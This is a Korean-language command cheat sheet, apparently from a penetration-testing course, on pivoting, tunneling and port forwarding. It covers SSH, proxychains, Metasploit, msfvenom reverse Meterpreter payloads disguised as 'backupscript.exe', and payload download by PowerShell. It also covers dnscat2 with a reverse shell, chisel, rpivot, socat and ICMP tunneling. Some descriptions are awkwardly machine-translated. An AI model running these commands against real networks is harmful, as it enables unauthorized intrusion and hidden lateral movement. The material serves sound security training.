# 피벗 터널링 & 포트 포워딩

| 명령                                                                                                                                                                                                                 | 설명                                                                                                                                                                                                                                  |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ifconfig`                                                                                                                                                                                                         | 시스템의 현재 네트워크 구성을 모두 표시하는 Linux 기반 명령입니다.                                                                                                                                                                                            |
| `ipconfig`                                                                                                                                                                                                         | 모든 시스템 네트워크 구성을 표시하는 Windows 기반 명령입니다.                                                                                                                                                                                              |
| `netstat -r`                                                                                                                                                                                                       | 모든 IPv4 기반 프로토콜에 대한 라우팅 테이블을 표시하는 데 사용되는 명령입니다.                                                                                                                                                                                     |
| `nmap -sT -p22,3306 <IPaddressofTarget>`                                                                                                                                                                           | SSH 또는 MySQL 연결을 허용하는 열린 포트에 대한 대상을 검색하는 데 사용되는 Nmap 명령입니다.                                                                                                                                                                         |
| `ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget>`                                                                                                                                                            | 포트 3306을 사용하여 로컬 포트의 로컬 시스템에서 `1234`원격 대상으로 SSH 터널을 생성하는 데 사용되는 SSH 명령입니다.                                                                                                                                                          |
| `netstat -antp \| grep 1234`                                                                                                                                                                                       | 생성된 터널과 관련된 네트워크 연결을 표시하는 데 사용되는 Netstat 옵션입니다. `grep`로컬 포트를 기준으로 필터링하는 데 사용됩니다 `1234`.                                                                                                                                             |
| `nmap -v -sV -p1234 localhost`                                                                                                                                                                                     | 로컬 포트에 설정된 연결을 통해 호스트를 검색하는 데 사용되는 Nmap 명령입니다 `1234`.                                                                                                                                                                               |
| `ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget>`                                                                                                                                          | SSH 서버가 포트 `1234`를 통해 모든 데이터를 `localhost:3306`.                                                                                                                                                                                     |
| `ssh -D 9050 ubuntu@<IPaddressofTarget>`                                                                                                                                                                           | 포트에서 동적 포트 전달을 수행 `9050`하고 대상과 SSH 터널을 설정하는 데 사용되는 SSH 명령입니다. 이는 SOCKS 프록시 설정의 일부입니다. [피보팅, 터널링 및 포트 포워딩 - SSH 및 SOCKS 터널링을 사용한 동적 포트 포워딩](https://academy.hackthebox.com/module/158/section/1426)                                  |
| `tail -4 /etc/proxychains.conf`                                                                                                                                                                                    | /etc/proxychains.conf의 마지막 4줄을 표시하는 데 사용되는 Linux 기반 명령입니다. 양말 구성이 제자리에 있는지 확인하는 데 사용할 수 있습니다.                                                                                                                                       |
| `proxychains nmap -v -sn 172.16.5.1-200`                                                                                                                                                                           | Nmap 스캔으로 생성된 트래픽을 프록시체인 및 SOCKS 프록시를 통해 전송하는 데 사용됩니다. 핑 스캔을 비활성화하고 `172.16.5.1-200`( ) 자세한 정보를 증가시켜 ( ) 지정된 범위의 호스트에 대해 스캔이 수행됩니다 .`-v-sn`                                                                                         |
| `proxychains nmap -v -Pn -sT 172.16.5.19`                                                                                                                                                                          | Nmap 스캔으로 생성된 트래픽을 프록시체인 및 SOCKS 프록시를 통해 전송하는 데 사용됩니다. 172.16.5.19에 대해 검색은 더 자세한 정보 표시( `-v`), ping 검색 비활성화( `-Pn`) 및 TCP 연결 검색 유형( )을 사용하여 수행됩니다 `-sT`.                                                                            |
| `proxychains msfconsole`                                                                                                                                                                                           | Proxychains를 사용하여 Metasploit을 열고 생성된 모든 네트워크 트래픽을 SOCKS 프록시를 통해 보냅니다.                                                                                                                                                               |
| `msf6 > search rdp_scanner`                                                                                                                                                                                        | 라는 모듈을 찾으려고 시도하는 Metasploit 검색입니다 `rdp_scanner`.                                                                                                                                                                                    |
| `proxychains xfreerdp /v:<IPaddressofTarget> /u:victor /p:pass@123`                                                                                                                                                | RDP를 사용하여 대상에 연결하고 프록시 체인을 사용하여 자격 증명 집합을 연결하는 데 사용됩니다. 그러면 SOCKS 프록시를 통해 모든 트래픽이 전송됩니다.                                                                                                                                            |
| `msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InteralIPofPivotHost> -f exe -o backupscript.exe LPORT=8080`                                                                                            | `lhost=`msfvenom을 사용하여 로컬 포트 ​​8080( )에 지정된 IP 주소로 콜백을 보내는 Windows 기반 역방향 HTTPS Meterpreter 페이로드를 생성합니다 `LPORT=8080`. 페이로드는 `backupscript.exe`.                                                                                     |
| `msf6 > use exploit/multi/handler`                                                                                                                                                                                 | Metasploit에서 다중 핸들러 익스플로잇 모듈을 선택하는 데 사용됩니다.                                                                                                                                                                                         |
| `scp backupscript.exe ubuntu@<ipAddressofTarget>:~/`                                                                                                                                                               | 보안 복사 프로토콜( `scp`)을 사용하여 파일을 `backupscript.exe`지정된 호스트로 전송하고 Ubuntu 사용자의 홈 디렉터리( `:~/`)에 배치합니다.                                                                                                                                     |
| `python3 -m http.server 8123`                                                                                                                                                                                      | Python3을 사용하여 port 에서 수신 대기하는 간단한 HTTP 서버를 시작합니다 `8123`. 호스트에서 파일을 검색하는 데 사용할 수 있습니다.                                                                                                                                               |
| `Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"`                                                                                                                | 웹 서버( `172.16.5.129:8123`)에서 backupscript.exe라는 파일을 다운로드한 다음 파일을 뒤에 지정된 위치에 저장하는 데 사용되는 PowerShell 명령입니다 `-OutFile`.                                                                                                                |
| `ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 ubuntu@<ipAddressofTarget> -vN`                                                                                                                                    | 대상에서 공격 호스트까지 역방향 SSH 터널을 생성하는 데 사용되는 SSH 명령입니다. 트래픽은 `8080`공격 호스트의 포트에서 `80`대상의 포트로 전달됩니다 .                                                                                                                                        |
| `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IPaddressofAttackHost -f elf -o backupjob LPORT=8080`                                                                                                        | `LHOST=`msfveom을 사용하여 포트 8080( ) 이후에 지정된 IP로 콜백하는 Linux 기반 Meterpreter 역방향 TCP 페이로드를 생성합니다 `LPORT=8080`. 페이로드는 backupjob이라는 실행 가능한 elf 파일 형식을 취합니다.                                                                                 |
| `msf6> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23`                                                                                                                                                      | 지정된 네트워크 세그먼트( `RHOSTS=172.16.5.0/23`)에 대해 ping 스윕 모듈을 실행하는 Metasploit 명령입니다.                                                                                                                                                       |
| `for i in {1..254} ;do (ping -c 1 172.16.5.$i \| grep "bytes from" &) ;done`                                                                                                                                       | Linux 피벗 호스트에서 Ping Sweep For 루프. 다음은 Linux 기반 및 Windows 기반 피벗 호스트에 사용할 수 있는 루프 단일 라이너에 대한 두 가지 유용한 ping 스윕입니다.                                                                                                                     |
| `for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 \| find "Reply"`                                                                                                                                           | CMD 배치 명령을 사용하는 Windows Ping Sweep For 루프.                                                                                                                                                                                          |
|                                                                                                                                                                                                                    |                                                                                                                                                                                                                                     |
| `for i in {1..254} ;do (ping -c 1 172.16.5.$i \| grep "bytes from" &) ;done`                                                                                                                                       | 지정된 네트워크 세그먼트에서 장치를 검색하기 위해 Linux 기반 시스템에서 사용되는 For 루프입니다.                                                                                                                                                                          |
| `for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 \| find "Reply"`                                                                                                                                           | For 루프는 Windows 기반 시스템에서 지정된 네트워크 세그먼트의 장치를 검색하는 데 사용됩니다.                                                                                                                                                                           |
| `1..254 \| % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}`                                                                                                                          | 지정된 네트워크 세그먼트에서 주소 1 - 254를 ping하는 데 사용되는 PowerShell 한 줄입니다.                                                                                                                                                                        |
| `msf6 > use auxiliary/server/socks_proxy`                                                                                                                                                                          | 보조 모듈을 선택하는 Metasploit 명령입니다 `socks_proxy`.                                                                                                                                                                                         |
| `msf6 auxiliary(server/socks_proxy) > jobs`                                                                                                                                                                        | 현재 실행 중인 모든 작업을 나열하는 Metasploit 명령입니다.                                                                                                                                                                                              |
| `socks4 127.0.0.1 9050`                                                                                                                                                                                            | SOCKS 버전 4 프록시가 지정된 IP 주소 및 포트의 프록시체인과 함께 사용되도록 /etc/proxychains.conf에 추가해야 하는 텍스트 줄입니다.                                                                                                                                            |
| `Socks5 127.0.0.1 1080`                                                                                                                                                                                            | SOCKS 버전 5 프록시가 지정된 IP 주소 및 포트의 프록시체인과 함께 사용되도록 /etc/proxychains.conf에 추가해야 하는 텍스트 줄입니다.                                                                                                                                            |
| `msf6 > use post/multi/manage/autoroute`                                                                                                                                                                           | 자동 경로 모듈을 선택하는 데 사용되는 Metasploit 명령입니다.                                                                                                                                                                                             |
|                                                                                                                                                                                                                    |                                                                                                                                                                                                                                     |
| `meterpreter > help portfwd`                                                                                                                                                                                       | portfwd 명령의 기능을 표시하는 데 사용되는 Meterpreter 명령입니다.                                                                                                                                                                                      |
| `meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>`                                                                                                                                                 | 현재 Meterpreter 세션에 전달 규칙을 추가하는 Meterpreter 기반 portfwd 명령입니다. 이 규칙은 로컬 시스템의 포트 3300에서 대상의 포트 3389(RDP)로 네트워크 트래픽을 전달합니다.                                                                                                             |
| `xfreerdp /v:localhost:3300 /u:victor /p:pass@123`                                                                                                                                                                 | 자격 증명 세트를 사용하여 xfreerdp를 사용하여 localhost:3300을 통해 원격 호스트에 연결합니다. 이것이 제대로 작동하려면 포트 전달 규칙이 있어야 합니다.                                                                                                                                    |
| `netstat -antp`                                                                                                                                                                                                    | `-a`연관된 프로세스 ID가 있는 모든( ) 활성 네트워크 연결을 표시하는 데 사용됩니다 . `-t`TCP 연결만 표시합니다. `-n`숫자 주소만 표시합니다. `-p`표시된 각 연결과 관련된 프로세스 ID를 표시합니다.                                                                                                         |
| `meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>`                                                                                                                                          | `1234`포트 8081에서 들어오는 트래픽을 공격 호스트의 IP 주소에서 수신 대기하는 포트로 전달하는 전달 규칙을 추가하는 미터프리터 기반 portfwd 명령입니다 .                                                                                                                                     |
| `meterpreter > bg`                                                                                                                                                                                                 | 선택한 metpreter 세션을 백그라운드에서 실행하는 데 사용되는 Meterpreter 기반 명령입니다. Linux의 프로세스를 백그라운드로 처리하는 것과 유사합니다.                                                                                                                                      |
| `socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofAttackHost>:80`                                                                                                                                                      | Socat을 사용하여 포트 8080에서 수신 대기한 다음 연결이 수신되면 분기합니다. 그런 다음 포트 80에서 공격 호스트에 연결됩니다.                                                                                                                                                        |
| `socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofTarget>:8443`                                                                                                                                                        | Socat을 사용하여 포트 8080에서 수신 대기한 다음 연결이 수신되면 분기합니다. 그런 다음 포트 8443의 대상 호스트에 연결됩니다.                                                                                                                                                       |
| `plink -D 9050 ubuntu@<IPaddressofTarget>`                                                                                                                                                                         | PuTTY의 Plink.exe를 사용하여 SSH 동적 포트 전달을 수행하고 지정된 대상으로 SSH 터널을 설정하는 Windows 기반 명령입니다. 이를 통해 Linux 기반 호스트에서 프록시 체인을 사용하여 수행되는 것과 유사하게 Windows 호스트에서 프록시 체인을 연결할 수 있습니다.                                                                  |
| `sudo apt-get install sshuttle`                                                                                                                                                                                    | apt-get을 사용하여 sshuttle 도구를 설치합니다.                                                                                                                                                                                                   |
| `sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v`                                                                                                                                                              | sshuttle을 실행하고, 대상 호스트에 연결하고, 트래픽이 공격 호스트에서 내부 네트워크의 호스트로 전달될 수 있도록 172.16.5.0 네트워크에 대한 경로를 생성합니다( `172.16.5.0`).                                                                                                                   |
| `sudo git clone https://github.com/klsecservices/rpivot.git`                                                                                                                                                       | rpivot 프로젝트 GitHub 저장소를 복제합니다.                                                                                                                                                                                                      |
| `sudo apt-get install python2.7`                                                                                                                                                                                   | apt-get을 사용하여 python2.7을 설치합니다.                                                                                                                                                                                                     |
| `python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0`                                                                                                                                     | `server.py`프록시 포트 `9050`, 서버 포트 `9999`및 모든 IP 주소( )에서 수신 대기하는 rpivot 서버( )를 실행하는 데 사용됩니다 `0.0.0.0`.                                                                                                                                 |
| `scp -r rpivot ubuntu@<IPaddressOfTarget>`                                                                                                                                                                         | 보안 복사 프로토콜을 사용하여 전체 디렉토리와 모든 내용을 지정된 대상으로 전송합니다.                                                                                                                                                                                    |
| `python2.7 client.py --server-ip 10.10.14.18 --server-port 9999`                                                                                                                                                   | rpivot 클라이언트( `client.py`)를 실행하여 해당 포트에서 지정된 rpivot 서버에 연결하는 데 사용됩니다.                                                                                                                                                               |
| `proxychains firefox-esr <IPaddressofTargetWebServer>:80`                                                                                                                                                          | 프록시체인을 사용하여 Firefox를 열고 SOCKS 프록시 서버를 통해 웹 요청을 지정된 대상 웹 서버로 보냅니다.                                                                                                                                                                   |
| `python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>` | NTLM 인증과 함께 HTTP-프록시를 사용하는 웹 서버에 연결하기 위해 rpivot 클라이언트를 실행하는 데 사용됩니다.                                                                                                                                                                |
| `netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25`                                                                                 | 포트 8080에서 수신 대기하고 원격 데스크톱 RDP 포트 3389의 대상 172.16.5.25로 연결을 전달하는 `netsh.exe`포트 프록시 규칙을 구성하는 데 사용되는 Windows 기반 명령. [Windows Netsh를 통한 포트 전달 - Netsh.exe를 사용하여 포트 전달](https://academy.hackthebox.com/module/158/section/1435) `v4tov4` |
| `netsh.exe interface portproxy show v4tov4`                                                                                                                                                                        | v4tov4라는 포트 프록시 규칙의 구성을 보는 데 사용되는 Windows 기반 명령입니다.                                                                                                                                                                                 |
| `git clone https://github.com/iagox86/dnscat2.git`                                                                                                                                                                 | 프로젝트 GitHub 저장소를 복제합니다 `dnscat2`.                                                                                                                                                                                                   |
| `sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache`                                                                                                                        | 캐시 없음 옵션이 활성화된 `53`도메인을 사용하여 지정된 IP 주소, 포트( )에서 실행되는 dnscat2.rb 서버를 시작하는 데 사용됩니다 .`inlanefreight.local`                                                                                                                             |
| `git clone https://github.com/lukebaggett/dnscat2-powershell.git`                                                                                                                                                  | dnscat2-powershell 프로젝트 Github 저장소를 복제합니다.                                                                                                                                                                                          |
| `Import-Module dnscat2.ps1`                                                                                                                                                                                        | dnscat2.ps1 도구를 가져오는 데 사용되는 PowerShell 명령입니다.                                                                                                                                                                                       |
| `Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd`                                                                                     | IP 주소, 도메인 이름 및 사전 공유 비밀을 사용하여 지정된 dnscat2 서버에 연결하는 데 사용되는 PowerShell 명령입니다. 클라이언트는 서버에 셸 연결을 다시 보냅니다( `-Exec cmd`).                                                                                                                |
| `dnscat2> ?`                                                                                                                                                                                                       | dnscat2 옵션을 나열하는 데 사용됩니다.                                                                                                                                                                                                           |
| `dnscat2> window -i 1`                                                                                                                                                                                             | 설정된 dnscat2 세션과 상호작용하는 데 사용됩니다.                                                                                                                                                                                                     |
| `./chisel server -v -p 1234 --socks5`                                                                                                                                                                              | `1234`SOCKS 버전 5를 사용하여 포트에서 수신 대기하는 상세 모드에서 끌 서버를 시작하는 데 사용됩니다 .                                                                                                                                                                    |
| `./chisel client -v 10.129.202.64:1234 socks`                                                                                                                                                                      | 양말을 사용하여 지정된 IP 주소 및 포트의 치즐 서버에 연결하는 데 사용됩니다.                                                                                                                                                                                       |
| `git clone https://github.com/utoni/ptunnel-ng.git`                                                                                                                                                                | ptunnel-ng 프로젝트 GitHub 저장소를 복제합니다.                                                                                                                                                                                                  |
| `sudo ./autogen.sh`                                                                                                                                                                                                | 필요한 ptunnel-ng 파일을 빌드할 autogen.sh 쉘 스크립트를 실행하는 데 사용됩니다.                                                                                                                                                                             |
| `sudo ./ptunnel-ng -r10.129.202.64 -R22`                                                                                                                                                                           | 지정된 IP 주소( `-r`) 및 해당 포트( `-R22`)에서 ptunnel-ng 서버를 시작하는 데 사용됩니다.                                                                                                                                                                    |
| `sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22`                                                                                                                                                    | 로컬 포트 ​​2222( )를 통해 지정된 ptunnel-ng 서버에 연결하는 데 사용됩니다 `-l2222`.                                                                                                                                                                       |
| `ssh -p2222 -lubuntu 127.0.0.1`                                                                                                                                                                                    | 로컬 포트를 통해 SSH 서버에 연결하는 데 사용되는 SSH 명령입니다. 이는 ICMP 터널을 통해 SSH 트래픽을 터널링하는 데 사용할 수 있습니다.                                                                                                                                                |
| `regsvr32.exe SocksOverRDP-Plugin.dll`                                                                                                                                                                             | SocksOverRDP-PLugin.dll을 등록하는 데 사용되는 Windows 기반 명령입니다.                                                                                                                                                                              |
| `netstat -antb \|findstr 1080`                                                                                                                                                                                     | 포트 1080에서 수신 대기하는 TCP 네트워크 연결을 나열하는 데 사용되는 Windows 기반 명령입니다.                                                                                                                                                                        |
